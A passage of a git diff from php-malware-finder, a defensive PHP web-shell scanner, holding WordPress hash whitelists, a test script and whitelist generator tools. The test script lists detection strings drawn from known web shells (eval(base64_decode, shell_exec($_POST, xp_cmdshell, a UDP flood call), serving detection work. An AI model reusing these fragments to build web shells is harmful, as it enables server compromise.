Wordpress 4.4.9 */ - hash.sha1(0, filesize) == "b81c17d5bfb2223f69db377436590e475668d2fb" or // wp-admin/includes/media.php - - /* Wordpress 4.4.10 */ - hash.sha1(0, filesize) == "6dcfcae19ae1dfcef701a7c503819da7f5a5e462" or // wp-admin/includes/file.php - - /* Wordpress 4.4.11 */ - hash.sha1(0, filesize) == "d150111d53bb9b5c3b206dd20bbab4aa6392c535" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "0568c09891c5373289adf8edddbe9315f3191e43" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "e96fad2bedc2f6b16db3ca35c6fda177c7fead4a" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "4a65846751a2fd28d1580eec7c8f44a8e13765ee" or // wp-includes/embed.php - - /* Wordpress 4.4.12 */ - hash.sha1(0, filesize) == "8febc587284d4883ff685ba8e82cd4aa834dc054" or // wp-includes/post.php - - /* Wordpress 4.4.13 */ - hash.sha1(0, filesize) == "b9a2912fb6fbb5c0955a652988f0f0d16bde9b7d" or // wp-includes/functions.php - - /* Wordpress 4.5 */ - hash.sha1(0, filesize) == "acfaa92b755ecda6ee1d1e7ee5bb5c3376b8a6be" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "fba38139c928803094190dc600b81e99aa5589fc" or // wp-includes/class-wp-tax-query.php - hash.sha1(0, filesize) == "87f8099b00084af257135f4bee2b0d70d9e367a6" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "e049dd771d6b3abf7c4e65413e32de744b42ccef" or // wp-includes/class-wp-meta-query.php - hash.sha1(0, filesize) == "1ad46b79725d495bb5aa40325325caa206c14fc8" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "73740e2cfb355a7eb7b1044c7d44135b40b01fa6" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "7978619626d7ba0022430be3fd697664203d5154" or // wp-includes/date.php - - /* Wordpress 4.5.1 */ - hash.sha1(0, filesize) == "0b952ece357cf396d9df043f852d9c5c4e0b8a3e" or // wp-includes/post-template.php - - /* Wordpress 4.5.3 */ - hash.sha1(0, filesize) == "9ee0b7f989f1776c6cee94beca98bb4a68760a16" or // wp-includes/post-template.php - - /* Wordpress 4.5.4 */ - hash.sha1(0, filesize) == "682c5bdb4f42bc1b45311cb061e86a7f73d1b851" or // wp-admin/includes/media.php - - /* Wordpress 4.5.5 */ - hash.sha1(0, filesize) == "eab6afde1cb93b4a88970848df53394c9bed0106" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "3b83dfdfdd3740b7153fa89f563da0585fcdd39d" or // wp-includes/functions.php - - /* Wordpress 4.5.6 */ - hash.sha1(0, filesize) == "b37095354be3483d3bde870aa1312993c197d433" or // wp-includes/query.php - - /* Wordpress 4.5.7 */ - hash.sha1(0, filesize) == "fc11c12de9b20b22adbd0c3dd757717bc24b6f1c" or // wp-admin/includes/media.php - - /* Wordpress 4.5.8 */ - hash.sha1(0, filesize) == "216425da339d17a4a3460a8e4e20c05f2dd9dcbb" or // wp-admin/includes/media.php - - /* Wordpress 4.5.9 */ - hash.sha1(0, filesize) == "ad7ebe534455b42c7c437878546ec7dbebf93ae6" or // wp-admin/includes/file.php - - /* Wordpress 4.5.10 */ - hash.sha1(0, filesize) == "939dda60ddad0b8d7aa74bf91b328cd501c1c132" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "b4be10610ff0649c48b9dba091656a7e479defe2" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "b50677d1200c0b7af34b94d7df071cd45435c5ee" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "7ff8a0bc84a84b31101630fc723f8b7c5df2b207" or // wp-includes/embed.php - - /* Wordpress 4.5.11 */ - hash.sha1(0, filesize) == "a244b842832525f376e9b0d0f4df4e56ed4302cd" or // wp-includes/post.php - - /* Wordpress 4.5.12 */ - hash.sha1(0, filesize) == "21bd227ab97fec4144bd7aad7bc400e3f51ab03d" or // wp-includes/functions.php - - /* Wordpress 4.6 */ - hash.sha1(0, filesize) == "a422a0e8243e8311d30bc01c2d7b9c283e61bff2" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "348c3a60d99768041be690b65b008628f53badb7" or // wp-includes/class-wp-tax-query.php - hash.sha1(0, filesize) == "0c06bd6cf0a6658732efe87ff5640cd11c65f7f1" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "c06a15f4869c5459a782b714572eacea5c82d570" or // wp-includes/class-wp-meta-query.php - hash.sha1(0, filesize) == "b10d12a372e6cffdc7d216f8a5136e3c093159a4" or // wp-includes/class-requests.php - hash.sha1(0, filesize) == "0451d399ccfbf7dc1de0edb9f745da2b34b18fc5" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "d032ad82ff52219f3615da437c1b76b8f280aa12" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "b92aefa2917fc319ca7ceab092e183cafc651a6d" or // wp-includes/bookmark-template.php - hash.sha1(0, filesize) == "4f89ccb066e38c1737c12b0617b2fb12da1ba049" or // wp-includes/date.php - - /* Wordpress 4.6.1 */ - hash.sha1(0, filesize) == "b1f9eb94fb54febccee7334620905adb4400aa9d" or // wp-admin/includes/media.php - - /* Wordpress 4.6.2 */ - hash.sha1(0, filesize) == "07d18fc3d5e5b0fd61ccf5bd2da8ac2e15b097e4" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "a53db6d4db11a0abb7e1fabfa6d25f5a993ebd53" or // wp-includes/class-requests.php - hash.sha1(0, filesize) == "100410700eb586886eb21325f81e1b2294e56ac6" or // wp-includes/functions.php - - /* Wordpress 4.6.3 */ - hash.sha1(0, filesize) == "dc98c549dcb2cef2f59dd220d314db3ad0a17ba0" or // wp-includes/query.php - - /* Wordpress 4.6.4 */ - hash.sha1(0, filesize) == "6449e83f570f22b5379269f4ea131d32c402bed9" or // wp-admin/includes/media.php - - /* Wordpress 4.6.5 */ - hash.sha1(0, filesize) == "28be75a851213f0898383747a7d67b8ef2036c2f" or // wp-admin/includes/media.php - - /* Wordpress 4.6.6 */ - hash.sha1(0, filesize) == "1f50ee8f46458e2ea17326223d84ec51610dfe36" or // wp-admin/includes/file.php - - /* Wordpress 4.6.7 */ - hash.sha1(0, filesize) == "5db799480d4fd6ad9cdf32fdabb2ffcef9b283bc" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "ed7fd5cbc7cd9dd98fbaeb984278a96825174472" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "ba377822d0f3a65b6b7684b1ec337335155df119" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "7080f68308c148e7cded897ce169d4ebfee04bec" or // wp-includes/embed.php - - /* Wordpress 4.6.8 */ - hash.sha1(0, filesize) == "beaa64b3bdfa508a8b2ecadecbcbbeeed775c990" or // wp-includes/post.php - - /* Wordpress 4.6.9 */ - hash.sha1(0, filesize) == "1b924521222d5bdc75aac9c323901584c3c05d04" or // wp-includes/functions.php - - /* Wordpress 4.7 */ - hash.sha1(0, filesize) == "d39e8749e6e15b6fa86270381420cf4f4cc02ed4" or // wp-includes/post.php - hash.sha1(0, filesize) == "12a18329072bed94b6f9c4d9f16d7a079ca64655" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "64e5d98fbeb07994f0d712ada765190656d4c0cb" or // wp-includes/comment.php - hash.sha1(0, filesize) == "9835d10a7561deeef1f8381da065b4b45d7f2662" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "aa6a12a0325056b9649f58f8072fa02a1e264551" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "aee1d3ce95ffb5f1c7da03740c5328f35360b24a" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "82d279098626105b1019d68da8290a6c385781e7" or // wp-includes/class-phpmailer.php - hash.sha1(0, filesize) == "2ef50e790fdd42daa8ccd64d4c7c4be75d21742d" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "455273700bc455f1ff36822affc94108dc3d9df7" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "1479b874ad86ce3b865ba34048a20b86d8aa0087" or // wp-includes/load.php - hash.sha1(0, filesize) == "040ef40d245242723de200e494a27545ea0b121b" or // wp-includes/IXR/class-IXR-date.php - hash.sha1(0, filesize) == "e11f0c01452b686bd7e144ce165dfc5c3a616461" or // wp-includes/media.php - hash.sha1(0, filesize) == "e777699f876953380f9a1ce013a1ba55f838ab0b" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "da748d8ac26bd4148bb8972b93efbb5f808474aa" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "b77ca8384b23346d003c07d23f05b8161ab6c688" or // wp-includes/class-wp-query.php - hash.sha1(0, filesize) == "c8c9182aa25fb92ca91fcc96c3419847acdcf6e0" or // wp-includes/date.php - hash.sha1(0, filesize) == "c2530a7cdb250bf4825a5c112cd26aa3ef7db1b8" or // wp-includes/functions.php - hash.sha1(0, filesize) == "81b1ae432ba765a43c6d81fb6d6c35ce72efd0e8" or // wp-admin/includes/schema.php - hash.sha1(0, filesize) == "6bccf04c8b46c8d6cdf79db8b509f4b76689f3bf" or // wp-admin/includes/class-ftp.php - hash.sha1(0, filesize) == "5877695771fbe7a5667f4a06f4d897a37ef3fceb" or // wp-includes/deprecated.php - hash.sha1(0, filesize) == "e4f0694bc96f99d5e30201171a3e7fc86e9e5ae4" or // wp-includes/class-pop3.php - hash.sha1(0, filesize) == "3d365a162b340d34d5294b60ae547d99b6d1a999" or // wp-admin/includes/file.php - - /* Wordpress 4.7.1 */ - hash.sha1(0, filesize) == "5ddc1e5c5c6302211b1aecbf930f76417b65d678" or // wp-includes/post.php - hash.sha1(0, filesize) == "0aab95245b9668f954151f4312b678fb0ee798cf" or // wp-includes/comment.php - hash.sha1(0, filesize) == "abcf1a0801694db4774cd2abb29b5392e10dd632" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "cb0c5a355409d807202bbf52749a3e74a9967a6a" or // wp-includes/class-phpmailer.php - hash.sha1(0, filesize) == "f53f80c4ee7446f0b605443b6d2f05acd8064d13" or // wp-includes/load.php - hash.sha1(0, filesize) == "b6de3af806166117e7bba3eccbb0428a1616b52d" or // wp-includes/media.php - hash.sha1(0, filesize) == "8e46ab4eae3aac3295b24f4aaf4e57931817e49d" or // wp-includes/functions.php - - /* Wordpress 4.7.2 */ - hash.sha1(0, filesize) == "72dbc1d4f2bbc8efdcdd834ecaf3771cbf17f64e" or // wp-includes/class-wp-query.php - - /* Wordpress 4.7.3 */ - hash.sha1(0, filesize) == "806d2872676ea22e0a6fa6b32fbd4652298023ee" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "bea5ea598f537e7acb20b77a1421f819c0a9ec75" or // wp-includes/media.php - hash.sha1(0, filesize) == "3e73204644f0ce7b0971aad885fdcbcabba629fc" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "3083b9a58e76d42455935811a457f29f57620145" or // wp-includes/functions.php - - /* Wordpress 4.7.4 */ - hash.sha1(0, filesize) == "b29188f218f4c5a829885acda14b0311a3c49976" or // wp-includes/media.php - hash.sha1(0, filesize) == "314b1dc97aa00586a3252d3628cf229e65091340" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "ec167428ad6275ff373976847c37fca99b9a485d" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "f0944ef1c459ddb52365c3825b09063b323eed92" or // wp-includes/functions.php - - /* Wordpress 4.7.5 */ - hash.sha1(0, filesize) == "165ad1321538d1b599923f0757f7d7e21671e155" or // wp-admin/includes/file.php - - /* Wordpress 4.7.6 */ - hash.sha1(0, filesize) == "b152b4bf6a81a3ba3564ae276a34bc6b4877735b" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "e527a7eae5b3465b00087fa7c333e9606ae5783a" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "e59258f4773caf6fda6c99e125436ad4a18ce486" or // wp-includes/embed.php - hash.sha1(0, filesize) == "235a7ad0f3f8478e652def99d8e1f4307dc51da2" or // wp-admin/includes/file.php - - /* Wordpress 4.7.7 */ - hash.sha1(0, filesize) == "eb855acc1c8666a70f3d7dfe4a95c00149b5ce7d" or // wp-includes/post.php - - /* Wordpress 4.7.8 */ - hash.sha1(0, filesize) == "ac0958364783141c5a1cbba8e12ed4ff78ee8bbd" or // wp-includes/functions.php - - /* Wordpress 4.8 */ - hash.sha1(0, filesize) == "77313344a17eade5030fdca8d10eccd135969369" or // wp-includes/post.php - hash.sha1(0, filesize) == "173fbee8c74055b574ed0aa3c46e259197c67863" or // wp-includes/class-wp-tax-query.php - hash.sha1(0, filesize) == "125c1f096353629f73beea143e2deca0df1fb7d4" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "1e2c69cb9905adf368b355ca9364b5e837dd9081" or // wp-includes/comment.php - hash.sha1(0, filesize) == "5334c1a43da016ec1c29a51004e026080691b1bb" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "b9fa254d7c067cef7bad75e0b29fbefa7e413b57" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "0e7fa010303cd090cbe016b77e277927d1d6c810" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "cd711fb5b3bae492508beb9074a03046f7b1e308" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "ee46ecb6fde0592f9b7659e3d3484343d324b5b1" or // wp-includes/load.php - hash.sha1(0, filesize) == "36602ee5cdab5a4d3823eb6059309905198f4f36" or // wp-includes/media.php - hash.sha1(0, filesize) == "ded6a7a07bced8e6499e88fb7b9d6db280851772" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "d72fdb3558631f5b120d04a2cad627751ae7d0f6" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "c241afff5aee586d3158386d7d8afb0eda43ffbc" or // wp-includes/class-wp-query.php - hash.sha1(0, filesize) == "4ebfcc988918b5a97671d505181036ae2d1c32ab" or // wp-includes/date.php - hash.sha1(0, filesize) == "dcdecd2367dc9a0cc60e678064803e6d93abcc6f" or // wp-includes/functions.php - hash.sha1(0, filesize) == "f87e60432a7bd51476335bcb0f734f47b3ae1dc7" or // wp-admin/includes/schema.php - hash.sha1(0, filesize) == "d330b08f706d98368b5a1acdcf2c8cdc72a0da4f" or // wp-includes/deprecated.php - hash.sha1(0, filesize) == "2d68a100b60b49de00319e4787bf464007629fa4" or // wp-admin/includes/file.php - - /* Wordpress 4.8.1 */ - hash.sha1(0, filesize) == "1ec72b6f528082afbbadbf276a2dc438d1d594d5" or // wp-includes/media.php - - /* Wordpress 4.8.2 */ - hash.sha1(0, filesize) == "dfb85f5bdca223d49ecf73e6c9ca200abf937f51" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "dedbeabb84a350640f07a06ec4c50cff9ffa0d38" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "8aaa1c4bf15cd3abd78b91832fbbb4f0c6f31105" or // wp-admin/includes/file.php - - /* Wordpress 4.8.3 */ - hash.sha1(0, filesize) == "ae6db64375d5093431624468c91cfeaf3c71e1de" or // wp-includes/post.php - hash.sha1(0, filesize) == "cf9b905e6559cb063e8472a8ae6de3a1ac4fa5bb" or // wp-includes/formatting.php - - /* Wordpress 4.8.4 */ - hash.sha1(0, filesize) == "bc5c48ca6e599f5891caf8a73608cdae9e01f478" or // wp-includes/functions.php - - /* Wordpress 4.9 */ - hash.sha1(0, filesize) == "752dbdfd22d3f940d8973d26923ca4a464f7e232" or // wp-includes/post.php - hash.sha1(0, filesize) == "d1d684a2acbbd7f6660702e45d34ad96bdeef730" or // wp-includes/class-wp-tax-query.php - hash.sha1(0, filesize) == "352be1f3bf3401a75eacdec37f1b5d48910043e8" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "9e19ca132977845fb0ba0950a507c16579093209" or // wp-includes/comment.php - hash.sha1(0, filesize) == "18620d3e3b0b1f5b211ebc45ac5842eca7ee52ca" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "b9e78dc47e999b2b043e905c8a569e82a3bf7c0b" or // wp-admin/includes/class-wp-plugins-list-table.php - hash.sha1(0, filesize) == "0b8cc5ee744280b8ed7f7e3b303e64b37a425cc4" or // wp-includes/ID3/module.tag.id3v2.php - hash.sha1(0, filesize) == "f6033d27f76e4c5c974baa9936ab81d962558669" or // wp-includes/post-template.php - hash.sha1(0, filesize) == "d0db3bdbb33277faa392f0d242125af1f761afc4" or // wp-admin/includes/template.php - hash.sha1(0, filesize) == "dee6af2c81118c5021e1ee40e2d4b5c54934b167" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "7a4a73acfa113b77119c1daa6d67dfb83b2f463a" or // wp-includes/general-template.php - hash.sha1(0, filesize) == "554b828b64160c6e56a5bebb1726efc72582005f" or // wp-includes/load.php - hash.sha1(0, filesize) == "2d26a3a13fe4bcacee99b03ff96e06940a496744" or // wp-includes/ID3/getid3.lib.php - hash.sha1(0, filesize) == "54a8fa6a2f55c29b9904b15ee276faeb200941c2" or // wp-includes/media.php - hash.sha1(0, filesize) == "bede201836018278fa19d1f42bd564090c7a8b82" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "4108ea39a8332614c72e49b3ddf7a22c91e579ed" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "c172576a5a72e64e5af86820e11c02cfd334c654" or // wp-includes/class-wp-meta-query.php - hash.sha1(0, filesize) == "8da575eed6ff6828cb2aad8953ae51c52a272c36" or // wp-includes/class-wp-query.php - hash.sha1(0, filesize) == "126d1d46140d5d92d115af6e5d04c622f5d0d982" or // wp-includes/date.php - hash.sha1(0, filesize) == "f7d34d486258a152d508b4872a0775fe7b54d23b" or // wp-includes/ID3/getid3.php - hash.sha1(0, filesize) == "f9a6d17f8369d9a8ed6929ae5375f860d834d70d" or // wp-includes/functions.php - hash.sha1(0, filesize) == "dc19f236b6276ae5e82f31d78e4fcf77aae0676b" or // wp-includes/ID3/module.audio-video.quicktime.php - hash.sha1(0, filesize) == "1a68d18ab476fd71e2bafc26221a83758f51e899" or // wp-admin/includes/schema.php - hash.sha1(0, filesize) == "47c8c9b48ab200312544c744ccc4433c09e4b29f" or // wp-includes/embed.php - hash.sha1(0, filesize) == "8506b66d830fe43c07bd8ba92b98059db9c4d609" or // wp-includes/deprecated.php - hash.sha1(0, filesize) == "bb59faf1d6d247561348a2d6da76b3c9916fc5f6" or // wp-includes/widgets/class-wp-widget-categories.php - hash.sha1(0, filesize) == "60956e23f5124ff4d78a37845478bdef17323234" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "6ea29825bd6ecc006db5b9f8fea84b08094adf01" or // wp-includes/ID3/module.audio-video.matroska.php - - /* Wordpress 4.9.1 */ - hash.sha1(0, filesize) == "a9a0d360e92828392b4fd1088b8f6b3b5edbd38a" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "c34674dbded99cf27a8389266d9b7cd4cd1c1cae" or // wp-includes/general-template.php - hash.sha1(0, filesize) == "b0530df4cb23cb9e7a0f8ff0afbc83d6762ec5c3" or // wp-includes/functions.php - hash.sha1(0, filesize) == "cd178c8d3a504a61bca31531983d8c3b9f720fcd" or // wp-admin/includes/file.php - - /* Wordpress 4.9.2 */ - hash.sha1(0, filesize) == "aa07d8be20c7d0274c723b9eb2f91cccb509329c" or // wp-includes/media.php - hash.sha1(0, filesize) == "96fbd31e8c8116942100359cac8c719db1c8d79c" or // wp-admin/includes/media.php - hash.sha1(0, filesize) == "fa8001bcc5ead72411b9de4f881d62f5fcdbad80" or // wp-includes/functions.php - - /* Wordpress 4.9.3 */ - hash.sha1(0, filesize) == "61c41a1fb7e12833749388f3973f1847151e3ca9" or // wp-includes/post.php - hash.sha1(0, filesize) == "fda1e4f919ceb16b7884c9082a55dc9791d30864" or // wp-includes/formatting.php - hash.sha1(0, filesize) == "4099e5ef9c7f0611be320412159e1897f7d4d0c2" or // wp-includes/general-template.php - hash.sha1(0, filesize) == "d227ce33979c44e23f44e33c4d8966de21108098" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "7424b9306888a80c3450b7ddb206e73a7a3065c6" or // wp-includes/class-wp-query.php - hash.sha1(0, filesize) == "b9efb83b07e47085458433840a5000fdfa4bc9aa" or // wp-includes/functions.php - - /* Wordpress 4.9.5 */ - hash.sha1(0, filesize) == "023c18ac2ff6dfd5e1e33e607e04101be41a56e1" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "d8ebdd1c5582034ea6462cfb44a2a6938317e87e" or // wp-includes/general-template.php - hash.sha1(0, filesize) == "c3e9b219e53ed65e0a975b40167c387e67e93118" or // wp-includes/media.php - hash.sha1(0, filesize) == "a6d9800de8df95ed52ea3eacb55596d424612429" or // wp-includes/functions.php - - /* Wordpress 4.9.6 */ - hash.sha1(0, filesize) == "edfc9e842657332c3c89ee70124bfe21f52b6846" or // wp-includes/post.php - hash.sha1(0, filesize) == "2ecb5fc57fdc7a2bbf77abc2ffef836077b4a3be" or // wp-admin/includes/ajax-actions.php - hash.sha1(0, filesize) == "4a1d1becfb1bbbf88d6ebade13534f792c5545bf" or // wp-includes/comment.php - hash.sha1(0, filesize) == "1ca5556cba039dda41863834d66192260d567e1d" or // wp-admin/includes/upgrade.php - hash.sha1(0, filesize) == "8fac5dc40941a1d266064deaa7a7874a0c382c7f" or // wp-admin/includes/file.php - hash.sha1(0, filesize) == "517b24c44416efd9869ce4fefb0091c610b15cfb" or // wp-includes/media.php - hash.sha1(0, filesize) == "f3de6a4510385cc8db3f653c1a4adcae99f68691" or // wp-includes/js/tinymce/tinymce.min.js - hash.sha1(0, filesize) == "f1b8f6b703f5a3e52cdeb44e9d4dd259e5f2d5d5" or // wp-includes/functions.php - hash.sha1(0, filesize) == "51e02f58216c17b6267f5e958498d493a6bcc40d" // wp-admin/includes/schema.php - -} diff --git a/tests.sh b/tests.sh new file mode 100755 index 0000000..a302031 --- /dev/null +++ b/tests.sh @@ -0,0 +1,96 @@ +#!/bin/bash + +PMF=./php-malware-finder +SAMPLES=./data/samples + +type yara 2>/dev/null 1>&2 || (echo "[-] Please make sure that yara is installed" && exit 1) + +CPT=0 +run_test(){ + NB_DETECTED=$(${PMF} -v -a "$SAMPLES"/"$1" 2>&1 | grep -c "$2" 2>/dev/null) + + if [[ "$NB_DETECTED" != 1 ]]; then + echo "[-] $2 was not detected in $1, sorry" + exit 1 + fi + CPT=$((CPT+1)) +} + + +# Real samples +run_test cpanel.php '0x294d:$eval: {eval(' +run_test freepbx.php 'ObfuscatedPhp' +run_test freepbx.php '0x72:$eval: { system(' +run_test freepbx.php 'DodgyPhp' +run_test freepbx.php '0x31d:$execution: system(base64_decode' + +# Classic shells +run_test classic/ajaxshell.php 'DodgyStrings' +run_test classic/ajaxshell.php '0x23e2:$: shell_exec' +run_test classic/ajaxshell.php "0x16e0:\$ini_get: ini_get('safe_mode" +run_test classic/ajaxshell.php "0x17f1:\$ini_get: ini_get('open_basedir" +run_test classic/angel.php '0x1b:$disable_magic_quotes:' +run_test classic/b374k.php 'ObfuscatedPhp' +run_test classic/b374k.php "0xe9:\$b374k: 'ev'.'al'" +run_test classic/b374k.php '0xb3:$align: $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func(' +run_test classic/b374k.php '0xd6:$align: ;$b374k=$func(' +run_test classic/b374k.php '0x43:$: github.com/b374k/b374k' +run_test classic/sosyete.php '0x194e:$execution: shell_exec($_POST' +run_test classic/simattacker.php '0x158:$: fpassthru' +run_test classic/r57.php '0x142a2:$: xp_cmdshell' +run_test classic/cyb3rsh3ll.php '0x2200d:$udp_dos: fsockopen("udp://' +run_test classic/c99.php '0x3bb4:$eval: {exec(' +run_test classic/c100.php '0x4f8d:$eval: {eval(' + +# Obfuscated php +run_test obfuscators/cipher_design.php '0x124:$execution: eval(base64_decode' +run_test obfuscators/cipher_design.php '0x123:$eval: ;eval(' +run_test obfuscators/online_php_obfuscator.php '0x51:$eval: ;preg_replace(' +run_test obfuscators/online_php_obfuscator.php "0x52:\$pr: preg_replace('/.*/e" +run_test obfuscators/online_php_obfuscator.php "SuspiciousEncoding" +run_test obfuscators/phpencode.php "ObfuscatedPhp" +run_test obfuscators/phpencode.php "DodgyPhp" + +# Artificial samples to test some rules +run_test artificial/obfuscated.php '0x0:$eval: "${OUTFILE}"; +private rule Magento1Ce : ECommerce +{ + condition: + false +} +EOF + +# Create a temporary directory and make sure it is empty +GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m1" )"; + +# Add header to whitelist tempfile +cat < "${OUTFILE}"; + +# Clean up +rm "${TMPFILE}"; +rm -rf "${GENTEMPDIR}"; diff --git a/utils/magento2_whitelist.sh b/utils/magento2_whitelist.sh new file mode 100755 index 0000000..bb742c8 --- /dev/null +++ b/utils/magento2_whitelist.sh @@ -0,0 +1,83 @@ +#!/bin/bash +# Quit script if something goes wrong +set -o errexit -o nounset -o pipefail; + +SCRIPTDIR="$( dirname "$(readlink -f "$0")" )"; +OUTFILE="${SCRIPTDIR}/../whitelists/magento2.yar"; +TMPFILE="${OUTFILE}.new"; + +# First empty the target whitelist so we can completely generate a new one +cat <"${OUTFILE}"; +private rule Magento2 : ECommerce +{ + condition: + false +} +EOF + +# Create a temporary directory and make sure it is empty +GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m2" )"; + +# Composer access tokens +if [ ! -f "${HOME}/.composer/auth.json" ]; then + echo -e "\nYou have no '.composer/auth.json' in your home dir. We will create it from a template and open an editor."; + echo -e "Press [Enter] to continue. Press Ctrl-C if you wish to leave."; + read; + mkdir -p "${HOME}/.composer"; + cat <"${HOME}/.composer/auth.json" +{ + "INFO_GITHUB": "==== GET TOKEN: https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/ ====", + "github-oauth": { + "github.com": "---github-token-goes-here---" + }, + "INFO_MAGENTO": "==== GET TOKEN: https://devdocs.magento.com/guides/v2.0/install-gde/prereq/connect-auth.html ====", + "http-basic": { + "repo.magento.com": { + "username": "---public-key-goes-here---", + "password": "---private-key-goes-here---" + } + } +} +EOF + editor "${HOME}/.composer/auth.json"; +fi + +# Add header to whitelist tempfile +cat < "${OUTFILE}"; + +# Clean up +rm "${TMPFILE}"; +rm -rf "${GENTEMPDIR}"; diff --git a/utils/mass_whitelist.py b/utils/mass_whitelist.py new file mode 100755 index 0000000..868f7b5 --- /dev/null +++ b/utils/mass_whitelist.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from __future__ import print_function + +import sys +import tarfile +from copy import copy +from datetime import datetime +from collections import OrderedDict +from hashlib import sha1 +from urllib2 import urlopen, HTTPError +from StringIO import StringIO + +import yara + +USAGE = """ +USAGE: %(prog)s [ [ []]] + +Options: + NAME : name of the CMS/whatever being whitelisted + URL_PATTERN : download URL with __version__ as a version placeholder + MAJOR : minimum and maximum major version to crawl (eg: 1-8, 8) + MINOR : minimum and maximum minor version to crawl + PATCH : minimum and maximum patch version to crawl + +Examples: + %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 9 50 + %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 4-9 1-50 + + %(prog)s wordpress https://wordpress.org/wordpress-__version__.tar.gz 4 15 + + %(prog)s symphony https://github.com/symfony/symfony/archive/v__version__.tar.gz 3 9 + + %(prog)s phpmyadmin https://files.phpmyadmin.net/phpMyAdmin/__version__/phpMyAdmin-__version__-all-languages.tar.gz 4 9 +""" % {'prog': sys.argv[0]} + + +class Opts: + DEFAULT_MIN = 0 + DEFAULT_MAX = 99 + YARA_RULES = yara.compile(sys.path[0]+'/../php.yar', includes=True, error_on_warning=True) + + @classmethod + def to_str(cls): + values = [] + for attr in cls.__dict__: + if attr.isupper(): + values.append('%s=%s' % (attr, getattr(cls, attr))) + return '' % ' '.join(values) + + +def eprint(*args, **kwargs): + print(*args, file=sys.stderr, **kwargs) + + +def extract_version_arg(index): + min_ver, max_ver = (Opts.DEFAULT_MIN, Opts.DEFAULT_MAX) + if len(sys.argv) >= (index + 1): + if '-' in sys.argv[index]: + min_ver, max_ver = map(int, sys.argv[index].split('-')) + else: + max_ver = int(sys.argv[index]) + return min_ver, max_ver + + +def generate_whitelist(version): + rules = {} + + # download archive + dl_failed = False + download_url = Opts.URL_PATTERN.replace('__version__', version) + download_url_str = Opts.URL_PATTERN.replace('__version__', '\x1b[1;33m%s\x1b[0m' % version) + eprint("[+] Downloading %s... " % download_url_str, end='') + sys.stdout.flush() + try: + resp = urlopen(download_url) + resp_code = resp.code + except HTTPError as err: + dl_failed = True + resp_code = err.code + if dl_failed or (resp_code != 200): + eprint("\x1b[1;31mFAILED (%d)\x1b[0m" % resp_code) + return None + data = StringIO(resp.read()) + data.seek(0) + eprint("\x1b[1;32mOK\x1b[0m") + + # extract archive and check against YARA signatures (in-memory) + eprint("[-] Generating whitelist... ", end='') + sys.stdout.flush() + tar = tarfile.open(mode='r:gz', fileobj=data) + for entry in tar.getnames(): + entry_fd = tar.extractfile(entry) + if entry_fd is None: + continue + entry_data = entry_fd.read() + matches = Opts.YARA_RULES.match(data=entry_data, fast=True) + if matches: + rules['/'.join(entry.split('/')[1:])] = sha1(entry_data).hexdigest() + eprint("\x1b[1;32mDONE\x1b[0m") + + return rules + + +# init vars +whitelists = OrderedDict() + +# check args +if (len(sys.argv) < 3) or (len(sys.argv) > 6): + eprint(USAGE) + sys.exit(1) + +# parse args +Opts.CMS_NAME = sys.argv[1] +Opts.URL_PATTERN = sys.argv[2] 